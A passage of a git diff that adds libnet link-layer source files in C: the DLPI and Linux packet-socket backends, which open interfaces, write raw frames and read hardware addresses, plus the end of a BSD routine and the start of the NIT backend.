+ /* err msg set in libnet_select_device */
+ return (NULL);
+ }
+ }
+
+ if (sysctl(mib, 6, NULL, &len, NULL, 0) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s\n",
+ __func__, strerror(errno));
+ return (NULL);
+ }
+
+ buf = (int8_t *)malloc(len);
+ if (buf == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n",
+ __func__, strerror(errno));
+ return (NULL);
+ }
+ if (sysctl(mib, 6, buf, &len, NULL, 0) < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s\n",
+ __func__, strerror(errno));
+ free(buf);
+ return (NULL);
+ }
+ end = buf + len;
+
+ for (next = buf ; next < end ; next += ifm->ifm_msglen)
+ {
+ ifm = (struct if_msghdr *)next;
+ if (ifm->ifm_type == RTM_IFINFO)
+ {
+ sdl = (struct sockaddr_dl *)(ifm + 1);
+ if (strncmp(&sdl->sdl_data[0], l->device, sdl->sdl_nlen) == 0)
+ {
+ if (!(ea = malloc(sizeof(struct libnet_ether_addr))))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): malloc(): %s", __func__, strerror(errno));
+ free(buf);
+ return (NULL);
+ }
+ memcpy(ea->ether_addr_octet, LLADDR(sdl), ETHER_ADDR_LEN);
+ break;
+ }
+ }
+ }
+ free(buf);
+ return (ea);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_link_dlpi.c b/libnet/src/libnet_link_dlpi.c
new file mode 100644
index 0000000..043bb5e
--- /dev/null
+++ b/libnet/src/libnet_link_dlpi.c
@@ -0,0 +1,770 @@
+/*
+ * $Id: libnet_link_dlpi.c,v 1.8 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_dlpi.c - dlpi routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1993, 1994, 1995, 1996, 1997
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * This code contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk),
+ * University College London.
+ */
+
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include <sys/types.h>
+#include <sys/time.h>
+#ifdef HAVE_SYS_BUFMOD_H
+#include <sys/bufmod.h>
+#endif
+#include <sys/dlpi.h>
+#ifdef HAVE_HPUX9
+#include <sys/socket.h>
+#endif
+#ifdef DL_HP_PPA_ACK_OBS
+#include <sys/stat.h>
+#endif
+#include <sys/stream.h>
+#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H)
+#include <sys/systeminfo.h>
+#endif
+
+#ifdef HAVE_SYS_DLPI_EXT_H
+#include <sys/dlpi_ext.h>
+#endif
+
+#ifdef HAVE_HPUX9
+#include <net/if.h>
+#endif
+
+#include <ctype.h>
+#ifdef HAVE_HPUX9
+#include <nlist.h>
+#include <dlpi_ext.h>
+#endif
+#include <errno.h>
+#include <fcntl.h>
+#include <memory.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stropts.h>
+#include <unistd.h>
+
+#include "../include/libnet.h"
+#include "../include/bpf.h"
+
+#include "../include/gnuc.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+#ifndef DLPI_DEV_PREFIX
+#define DLPI_DEV_PREFIX "/dev"
+#endif
+
+#define MAXDLBUF 8192
+
+/* Forwards */
+static int dlattachreq(int, bpf_u_int32, int8_t *);
+static int dlbindack(int, int8_t *, int8_t *);
+static int dlbindreq(int, bpf_u_int32, int8_t *);
+static int dlinfoack(int, int8_t *, int8_t *);
+static int dlinforeq(int, int8_t *);
+static int dlokack(int, const int8_t *, int8_t *, int8_t *);
+static int recv_ack(int, int, const int8_t *, int8_t *, int8_t *);
+static int send_request(int, int8_t *, int, int8_t *, int8_t *, int);
+#ifdef HAVE_SYS_BUFMOD_H
+static int strioctl(int, int, int, int8_t *);
+#endif
+#ifdef HAVE_HPUX9
+static int dlpi_kread(int, off_t, void *, u_int, int8_t *);
+#endif
+#ifdef HAVE_DEV_DLPI
+static int get_dlpi_ppa(int, const int8_t *, int, int8_t *);
+#endif
+
+/* XXX Needed by HP-UX (at least) */
+static bpf_u_int32 ctlbuf[MAXDLBUF];
+
+
+int
+libnet_open_link(libnet_t *l)
+{
+ register int8_t *cp;
+ int8_t *eos;
+ register int ppa;
+ register dl_info_ack_t *infop;
+ bpf_u_int32 buf[MAXDLBUF];
+ int8_t dname[100];
+#ifndef HAVE_DEV_DLPI
+ int8_t dname2[100];
+#endif
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /*
+ * Determine device and ppa
+ */
+ cp = strpbrk(l->device, "0123456789");
+ if (cp == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %s is missing unit number\n", __func__, l->device);
+ goto bad;
+ }
+ ppa = strtol(cp, &eos, 10);
+ if (*eos != '\0')
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %s bad unit number\n", __func__, l->device);
+ goto bad;
+ }
+
+ if (*(l->device) == '/')
+ {
+ memset(&dname, 0, sizeof(dname));
+ strncpy(dname, l->device, sizeof(dname) - 1);
+ dname[sizeof(dname) - 1] = '\0';
+ }
+ else
+ {
+ sprintf(dname, "%s/%s", DLPI_DEV_PREFIX, l->device);
+ }
+#ifdef HAVE_DEV_DLPI
+ /*
+ * Map network device to /dev/dlpi unit
+ */
+ cp = "/dev/dlpi";
+
+ l->fd = open(cp, O_RDWR);
+ if (l->fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n",
+ __func__, cp, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * Map network interface to /dev/dlpi unit
+ */
+ ppa = get_dlpi_ppa(l->fd, dname, ppa, l->err_buf);
+ if (ppa < 0)
+ {
+ goto bad;
+ }
+#else
+ /*
+ * Try device without unit number
+ */
+ strcpy(dname2, dname);
+ cp = strchr(dname, *cp);
+ *cp = '\0';
+
+ l->fd = open(dname, O_RDWR);
+ if (l->fd == -1)
+ {
+ if (errno != ENOENT)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n",
+ __func__, dname, strerror(errno));
+ goto bad;
+ }
+
+ /*
+ * Try again with unit number
+ */
+ l->fd = open(dname2, O_RDWR);
+ if (l->fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n",
+ __func__, dname2, strerror(errno));
+ goto bad;
+ }
+
+ cp = dname2;
+ while (*cp && !isdigit((int)*cp))
+ {
+ cp++;
+ }
+ if (*cp)
+ {
+ ppa = atoi(cp);
+ }
+ else
+ /*
+ * XXX Assume unit zero
+ */
+ ppa = 0;
+ }
+#endif
+ /*
+ * Attach if "style 2" provider
+ */
+ if (dlinforeq(l->fd, l->err_buf) < 0 ||
+ dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0)
+ {
+ goto bad;
+ }
+ infop = &((union DL_primitives *)buf)->info_ack;
+ if (infop->dl_provider_style == DL_STYLE2 &&
+ (dlattachreq(l->fd, ppa, l->err_buf)
+ < 0 || dlokack(l->fd, "attach", (int8_t *)buf, l->err_buf) < 0))
+ {
+ goto bad;
+ }
+
+ /*
+ * Bind HP-UX 9 and HP-UX 10.20
+ */
+#if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20) || defined(HAVE_HPUX11) || defined(HAVE_SOLARIS)
+ if (dlbindreq(l->fd, 0, l->err_buf) < 0 ||
+ dlbindack(l->fd, (int8_t *)buf, l->err_buf) < 0)
+ {
+ goto bad;
+ }
+#endif
+
+ /*
+ * Determine link type
+ */
+ if (dlinforeq(l->fd, l->err_buf) < 0 ||
+ dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0)
+ {
+ goto bad;
+ }
+
+ infop = &((union DL_primitives *)buf)->info_ack;
+ switch (infop->dl_mac_type)
+ {
+ case DL_CSMACD:
+ case DL_ETHER:
+ l->link_type = DLT_EN10MB;
+ l->link_offset = 0xe;
+ break;
+ case DL_FDDI:
+ l->link_type = DLT_FDDI;
+ l->link_offset = 0x15;
+ break;
+ case DL_TPR:
+ l->link_type = DLT_PRONET;
+ l->link_offset = 0x16;
+ break;
+ default:
+ sprintf(l->err_buf, "%s(): unknown mac type 0x%lu\n", __func__,
+ (u_int32_t) infop->dl_mac_type);
+ goto bad;
+ }
+
+#ifdef DLIOCRAW
+ /*
+ * This is a non standard SunOS hack to get the ethernet header.
+ */
+ if (strioctl(l->fd, DLIOCRAW, 0, NULL) < 0)
+ {
+ sprintf(l->err_buf, "%s(): DLIOCRAW: %s\n", __func__, strerror(errno));
+ goto bad;
+ }
+#endif
+
+ return (1);
+bad:
+ if (l->fd > 0)
+ {
+ close(l->fd); /* this can fail ok */
+ }
+ return (-1);
+}
+
+
+static int
+send_request(int fd, int8_t *ptr, int len, int8_t *what, int8_t *ebuf,
+int flags)
+{
+ struct strbuf ctl;
+
+ ctl.maxlen = 0;
+ ctl.len = len;
+ ctl.buf = ptr;
+
+ if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0)
+ {
+ sprintf(ebuf, "%s(): putmsg \"%s\": %s\n", __func__, what,
+ strerror(errno));
+ return (-1);
+ }
+ return (0);
+}
+
+static int
+recv_ack(int fd, int size, const int8_t *what, int8_t *bufp, int8_t *ebuf)
+{
+ union DL_primitives *dlp;
+ struct strbuf ctl;
+ int flags;
+
+ ctl.maxlen = MAXDLBUF;
+ ctl.len = 0;
+ ctl.buf = bufp;
+
+ flags = 0;
+ if (getmsg(fd, &ctl, (struct strbuf*)NULL, &flags) < 0)
+ {
+ sprintf(ebuf, "%s(): %s getmsg: %s\n", __func__, what, strerror(errno));
+ return (-1);
+ }
+
+ dlp = (union DL_primitives *)ctl.buf;
+ switch (dlp->dl_primitive)
+ {
+ case DL_INFO_ACK:
+ case DL_PHYS_ADDR_ACK:
+ case DL_BIND_ACK:
+ case DL_OK_ACK:
+#ifdef DL_HP_PPA_ACK
+ case DL_HP_PPA_ACK:
+#endif
+ /*
+ * These are OK
+ */
+ break;
+
+ case DL_ERROR_ACK:
+ switch (dlp->error_ack.dl_errno)
+ {
+ case DL_BADPPA:
+ sprintf(ebuf, "recv_ack: %s bad ppa (device unit)", what);
+ break;
+ case DL_SYSERR:
+ sprintf(ebuf, "recv_ack: %s: %s",
+ what, strerror(dlp->error_ack.dl_unix_errno));
+ break;
+ case DL_UNSUPPORTED:
+ sprintf(ebuf,
+ "recv_ack: %s: Service not supplied by provider", what);
+ break;
+ default:
+ sprintf(ebuf, "recv_ack: %s error 0x%x", what,
+ (bpf_u_int32)dlp->error_ack.dl_errno);
+ break;
+ }
+ return (-1);
+
+ default:
+ sprintf(ebuf, "recv_ack: %s unexpected primitive ack 0x%x ",
+ what, (bpf_u_int32)dlp->dl_primitive);
+ return (-1);
+ }
+
+ if (ctl.len < size)
+ {
+ sprintf(ebuf, "recv_ack: %s ack too small (%d < %d)",
+ what, ctl.len, size);
+ return (-1);
+ }
+ return (ctl.len);
+}
+
+static int
+dlattachreq(int fd, bpf_u_int32 ppa, int8_t *ebuf)
+{
+ dl_attach_req_t req;
+
+ req.dl_primitive = DL_ATTACH_REQ;
+ req.dl_ppa = ppa;
+
+ return (send_request(fd, (int8_t *)&req, sizeof(req), "attach", ebuf, 0));
+}
+
+static int
+dlbindreq(int fd, bpf_u_int32 sap, int8_t *ebuf)
+{
+
+ dl_bind_req_t req;
+
+ memset((int8_t *)&req, 0, sizeof(req));
+ req.dl_primitive = DL_BIND_REQ;
+#ifdef DL_HP_RAWDLS
+ req.dl_max_conind = 1; /* XXX magic number */
+ /*
+ * 22 is INSAP as per the HP-UX DLPI Programmer's Guide
+ */
+ req.dl_sap = 22;
+ req.dl_service_mode = DL_HP_RAWDLS;
+#else
+ req.dl_sap = sap;
+#ifdef DL_CLDLS
+ req.dl_service_mode = DL_CLDLS;
+#endif
+#endif
+ return (send_request(fd, (int8_t *)&req, sizeof(req), "bind", ebuf, 0));
+}
+
+static int
+dlbindack(int fd, int8_t *bufp, int8_t *ebuf)
+{
+ return (recv_ack(fd, DL_BIND_ACK_SIZE, "bind", bufp, ebuf));
+}
+
+static int
+dlokack(int fd, const int8_t *what, int8_t *bufp, int8_t *ebuf)
+{
+ return (recv_ack(fd, DL_OK_ACK_SIZE, what, bufp, ebuf));
+}
+
+static int
+dlinforeq(int fd, int8_t *ebuf)
+{
+ dl_info_req_t req;
+
+ req.dl_primitive = DL_INFO_REQ;
+
+ return (send_request(fd, (int8_t *)&req, sizeof(req), "info", ebuf,
+ RS_HIPRI));
+}
+
+static int
+dlinfoack(int fd, int8_t *bufp, int8_t *ebuf)
+{
+ return (recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf));
+}
+
+
+#ifdef HAVE_SYS_BUFMOD_H
+static int
+strioctl(int fd, int cmd, int len, int8_t *dp)
+{
+ struct strioctl str;
+ int rc;
+
+ str.ic_cmd = cmd;
+ str.ic_timout = -1;
+ str.ic_len = len;
+ str.ic_dp = dp;
+
+ rc = ioctl(fd, I_STR, &str);
+ if (rc < 0)
+ {
+ return (rc);
+ }
+ else
+ {
+ return (str.ic_len);
+ }
+}
+#endif
+
+
+#if (defined(DL_HP_PPA_ACK_OBS) && !defined(HAVE_HPUX11))
+/*
+ * Under HP-UX 10, we can ask for the ppa
+ */
+static int
+get_dlpi_ppa(register int fd, register const int8_t *device, register int unit,
+register int8_t *ebuf)
+{
+ register dl_hp_ppa_ack_t *ap;
+ register dl_hp_ppa_info_t *ip;
+ register int i;
+ register u_int32_t majdev;
+ dl_hp_ppa_req_t req;
+ struct stat statbuf;
+ bpf_u_int32 buf[MAXDLBUF];
+
+ if (stat(device, &statbuf) < 0)
+ {
+ sprintf(ebuf, "stat: %s: %s", device, strerror(errno));
+ return (-1);
+ }
+ majdev = major(statbuf.st_rdev);
+
+ memset((int8_t *)&req, 0, sizeof(req));
+ req.dl_primitive = DL_HP_PPA_REQ;
+
+ memset((int8_t *)buf, 0, sizeof(buf));
+ if (send_request(fd, (int8_t *)&req, sizeof(req), "hpppa", ebuf, 0) < 0 ||
+ recv_ack(fd, DL_HP_PPA_ACK_SIZE, "hpppa", (int8_t *)buf, ebuf) < 0)
+ {
+ return (-1);
+ }
+
+ ap = (dl_hp_ppa_ack_t *)buf;
+ ip = (dl_hp_ppa_info_t *)((u_int8_t *)ap + ap->dl_offset);
+
+ for (i = 0; i < ap->dl_count; i++)
+ {
+ if (ip->dl_mjr_num == majdev && ip->dl_instance_num == unit)
+ break;
+
+ ip = (dl_hp_ppa_info_t *)((u_int8_t *)ip + ip->dl_next_offset);
+ }
+
+ if (i == ap->dl_count)
+ {
+ sprintf(ebuf, "can't find PPA for %s", device);
+ return (-1);
+ }
+
+ if (ip->dl_hdw_state == HDW_DEAD)
+ {
+ sprintf(ebuf, "%s: hardware state: DOWN\n", device);
+ return (-1);
+ }
+ return ((int)ip->dl_ppa);
+}
+#endif
+
+#ifdef HAVE_HPUX9
+/*
+ * Under HP-UX 9, there is no good way to determine the ppa.
+ * So punt and read it from /dev/kmem.
+ */
+static struct nlist nl[] =
+{
+#define NL_IFNET 0
+ { "ifnet" },
+ { "" }
+};
+
+static int8_t path_vmunix[] = "/hp-ux";
+
+/*
+ * Determine ppa number that specifies ifname
+ */
+static int
+get_dlpi_ppa(register int fd, register const int8_t *ifname, register int unit,
+ register int8_t *ebuf)
+{
+ register const int8_t *cp;
+ register int kd;
+ void *addr;
+ struct ifnet ifnet;
+ int8_t if_name[sizeof(ifnet.if_name)], tifname[32];
+
+ cp = strrchr(ifname, '/');
+ if (cp != NULL)
+ {
+ ifname = cp + 1;
+ }
+ if (nlist(path_vmunix, &nl) < 0)
+ {
+ sprintf(ebuf, "nlist %s failed", path_vmunix);
+ return (-1);
+ }
+
+ if (nl[NL_IFNET].n_value == 0)
+ {
+ sprintf(ebuf, "could't find %s kernel symbol", nl[NL_IFNET].n_name);
+ return (-1);
+ }
+
+ kd = open("/dev/kmem", O_RDONLY);
+ if (kd < 0)
+ {
+ sprintf(ebuf, "kmem open: %s", strerror(errno));
+ return (-1);
+ }
+
+ if (dlpi_kread(kd, nl[NL_IFNET].n_value, &addr, sizeof(addr), ebuf) < 0)
+ {
+ close(kd);
+ return (-1);
+ }
+ for (; addr != NULL; addr = ifnet.if_next)
+ {
+ if (dlpi_kread(kd, (off_t)addr, &ifnet, sizeof(ifnet), ebuf) < 0 ||
+ dlpi_kread(kd, (off_t)ifnet.if_name,
+ if_name, sizeof(if_name), ebuf) < 0)
+ {
+ close(kd);
+ return (-1);
+ }
+ sprintf(tifname, "%.*s%d",
+ (int)sizeof(if_name), if_name, ifnet.if_unit);
+ if (strcmp(tifname, ifname) == 0)
+ {
+ return (ifnet.if_index);
+ }
+ }
+
+ sprintf(ebuf, "Can't find %s", ifname);
+ return (-1);
+}
+
+static int
+dlpi_kread(register int fd, register off_t addr, register void *buf,
+register u_int len, register int8_t *ebuf)
+{
+ register int cc;
+
+ if (lseek(fd, addr, SEEK_SET) < 0)
+ {
+ sprintf(ebuf, "lseek: %s", strerror(errno));
+ return (-1);
+ }
+ cc = read(fd, buf, len);
+ if (cc < 0)
+ {
+ sprintf(ebuf, "read: %s", strerror(errno));
+ return (-1);
+ }
+ else if (cc != len)
+ {
+ sprintf(ebuf, "int16_t read (%d != %d)", cc, len);
+ return (-1);
+ }
+ return (cc);
+}
+#endif
+
+#define ETHERADDRL 6
+struct EnetHeaderInfo
+{
+ struct libnet_ether_addr DestEtherAddr;
+ u_int16_t EtherFrameType;
+};
+
+
+int
+libnet_close_link(libnet_t *l)
+{
+ if (close(l->fd) == 0)
+ {
+ free(l);
+ return (1);
+ }
+ else
+ {
+ free(l);
+ return (-1);
+ }
+}
+
+#ifdef HAVE_HPUX11
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ struct strbuf data, ctl;
+ dl_hp_rawdata_req_t *rdata;
+ int c;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ rdata = (dl_hp_rawdata_req_t *)ctlbuf;
+ rdata->dl_primitive = DL_HP_RAWDATA_REQ;
+
+ /* send it */
+ ctl.len = sizeof(dl_hp_rawdata_req_t);
+ ctl.maxlen = sizeof(dl_hp_rawdata_req_t);
+ ctl.buf = (int8_t *)rdata;
+
+ data.maxlen = size;
+ data.len = size;
+ data.buf = packet;
+
+ c = putmsg(l->fd, &ctl, &data, 0);
+ if (c == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_write_link(): %d bytes written (%s)\n", c,
+ strerror(errno));
+ return (-1);
+ }
+ else
+ {
+ return (size);
+ }
+}
+#else
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ int c;
+ struct strbuf data;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ data.maxlen = size;
+ data.len = size;
+ data.buf = packet;
+
+ c = putmsg(l->fd, NULL, &data, 0);
+ if (c == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_write_link: %d bytes written (%s)\n", c,
+ strerror(errno));
+ return (-1);
+ }
+ else
+ {
+ return (size);
+ }
+}
+#endif
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l)
+{
+ int8_t buf[2048];
+ union DL_primitives *dlp;
+ struct libnet_ether_addr *eap;
+
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ dlp = (union DL_primitives *)buf;
+
+ dlp->physaddr_req.dl_primitive = DL_PHYS_ADDR_REQ;
+ dlp->physaddr_req.dl_addr_type = DL_CURR_PHYS_ADDR;
+
+ if (send_request(l->fd, (int8_t *)dlp, DL_PHYS_ADDR_REQ_SIZE, "physaddr",
+ l->err_buf, 0) < 0)
+ {
+ return (NULL);
+ }
+ if (recv_ack(l->fd, DL_PHYS_ADDR_ACK_SIZE, "physaddr", (int8_t *)dlp,
+ l->err_buf) < 0)
+ {
+ return (NULL);
+ }
+
+ eap = (struct libnet_ether_addr *)
+ ((int8_t *) dlp + dlp->physaddr_ack.dl_addr_offset);
+ return (eap);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_link_linux.c b/libnet/src/libnet_link_linux.c
new file mode 100644
index 0000000..d0bbf9a
--- /dev/null
+++ b/libnet/src/libnet_link_linux.c
@@ -0,0 +1,295 @@
+/*
+ * $Id: libnet_link_linux.c,v 1.5 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet 1.1
+ * libnet_link_linux.c - linux packet socket and pack socket routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include <sys/time.h>
+
+#include <net/if.h>
+#if (__GLIBC__)
+#include <netinet/if_ether.h>
+#include <net/if_arp.h>
+#else
+#include <linux/if_arp.h>
+#include <linux/if_ether.h>
+#endif
+
+#if (HAVE_PACKET_SOCKET)
+#ifndef SOL_PACKET
+#define SOL_PACKET 263
+#endif /* SOL_PACKET */
+#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
+#include <netpacket/packet.h>
+#include <net/ethernet.h> /* the L2 protocols */
+#else
+#include <asm/types.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h> /* The L2 protocols */
+#endif
+#endif /* HAVE_PACKET_SOCKET */
+
+#include "../include/bpf.h"
+#include "../include/libnet.h"
+
+#include "../include/gnuc.h"
+#ifdef HAVE_OS_PROTO_H
+#include "../include/os-proto.h"
+#endif
+
+
+int
+libnet_open_link(libnet_t *l)
+{
+ struct ifreq ifr;
+ int n = 1;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+#if (HAVE_PACKET_SOCKET)
+ l->fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+#else
+ l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
+#endif
+ if (l->fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "socket: %s", strerror(errno));
+ goto bad;
+ }
+
+ memset(&ifr, 0, sizeof (ifr));
+ strncpy(ifr.ifr_name, l->device, sizeof (ifr.ifr_name) -1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+
+ if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 )
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "SIOCGIFHWADDR: %s", strerror(errno));
+ goto bad;
+ }
+
+ switch (ifr.ifr_hwaddr.sa_family)
+ {
+ case ARPHRD_ETHER:
+ case ARPHRD_METRICOM:
+#ifdef ARPHRD_LOOPBACK
+ case ARPHRD_LOOPBACK:
+#endif
+ l->link_type = DLT_EN10MB;
+ l->link_offset = 0xe;
+ break;
+ case ARPHRD_SLIP:
+ case ARPHRD_CSLIP:
+ case ARPHRD_SLIP6:
+ case ARPHRD_CSLIP6:
+ case ARPHRD_PPP:
+ l->link_type = DLT_RAW;
+ break;
+ case ARPHRD_FDDI:
+ l->link_type = DLT_FDDI;
+ l->link_offset = 0x15;
+ break;
+ /* Token Ring */
+ case ARPHRD_IEEE802:
+ case ARPHRD_IEEE802_TR:
+ case ARPHRD_PRONET:
+ l->link_type = DLT_PRONET;
+ l->link_offset = 0x16;
+ break;
+
+ default:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "unknown physical layer type 0x%x\n",
+ ifr.ifr_hwaddr.sa_family);
+ goto bad;
+ }
+#ifdef SO_BROADCAST
+/*
+ * man 7 socket
+ *
+ * Set or get the broadcast flag. When enabled, datagram sockets
+ * receive packets sent to a broadcast address and they are allowed
+ * to send packets to a broadcast address. This option has no
+ * effect on stream-oriented sockets.
+ */
+ if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, &n, sizeof(n)) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s: set SO_BROADCAST failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+#endif /* SO_BROADCAST */
+
+ return (1);
+
+bad:
+ if (l->fd >= 0)
+ {
+ close(l->fd);
+ }
+ return (-1);
+}
+
+
+int
+libnet_close_link(libnet_t *l)
+{
+ if (close(l->fd) == 0)
+ {
+ return (1);
+ }
+ else
+ {
+ return (-1);
+ }
+}
+
+
+#if (HAVE_PACKET_SOCKET)
+static int
+get_iface_index(int fd, const int8_t *device)
+{
+ struct ifreq ifr;
+
+ /* memset(&ifr, 0, sizeof(ifr)); */
+ strncpy (ifr.ifr_name, device, sizeof(ifr.ifr_name) - 1);
+ ifr.ifr_name[sizeof(ifr.ifr_name)-1] = '\0';
+
+ if (ioctl(fd, SIOCGIFINDEX, &ifr) == -1)
+ {
+ return (-1);
+ }
+
+ return ifr.ifr_ifindex;
+}
+#endif
+
+
+int
+libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ int c;
+#if (HAVE_PACKET_SOCKET)
+ struct sockaddr_ll sa;
+#else
+ struct sockaddr sa;
+#endif
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&sa, 0, sizeof (sa));
+#if (HAVE_PACKET_SOCKET)
+ sa.sll_family = AF_PACKET;
+ sa.sll_ifindex = get_iface_index(l->fd, l->device);
+ if (sa.sll_ifindex == -1)
+ {
+ return (-1);
+ }
+ sa.sll_protocol = htons(ETH_P_ALL);
+#else
+ strncpy(sa.sa_data, l->device, sizeof (sa.sa_data) - 1);
+ sa.sa_data[sizeof (sa.sa_data) - 1] = 0;
+#endif
+
+ c = sendto(l->fd, packet, size, 0,
+ (struct sockaddr *)&sa, sizeof (sa));
+ if (c != size)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_write_link(): only %d bytes written (%s)\n", c,
+ strerror(errno));
+ }
+ return (c);
+}
+
+
+struct libnet_ether_addr *
+libnet_get_hwaddr(libnet_t *l)
+{
+ int fd;
+ struct ifreq ifr;
+ struct libnet_ether_addr *eap;
+ /*
+ * XXX - non-re-entrant!
+ */
+ static struct libnet_ether_addr ea;
+
+ if (l == NULL)
+ {
+ return (NULL);
+ }
+
+ if (l->device == NULL)
+ {
+ if (libnet_select_device(l) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_get_hwaddr: can't figure out a device to use\n");
+ return (NULL);
+ }
+ }
+
+ /*
+ * Create dummy socket to perform an ioctl upon.
+ */
+ fd = socket(AF_INET, SOCK_DGRAM, 0);
+ if (fd < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "socket: %s", strerror(errno));
+ goto bad;
+ }
+
+ memset(&ifr, 0, sizeof(ifr));
+ eap = &ea;
+ strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+
+ if (ioctl(fd, SIOCGIFHWADDR, (int8_t *)&ifr) < 0)
+ {
+ close(fd);
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "ioctl: %s", strerror(errno));
+ goto bad;
+ }
+ memcpy(eap, &ifr.ifr_hwaddr.sa_data, ETHER_ADDR_LEN);
+ close(fd);
+ return (eap);
+
+bad:
+ return (NULL);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_link_nit.c b/libnet/src/libnet_link_nit.c
new file mode 100644
index 0000000..b7c11c5
--- /dev/null
+++ b/libnet/src/libnet_link_nit.c
@@ -0,0 +1,125 @@
+/*
+ * $Id: libnet_link_nit.c,v 1.6 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_nit.c - network interface tap routines
+ *
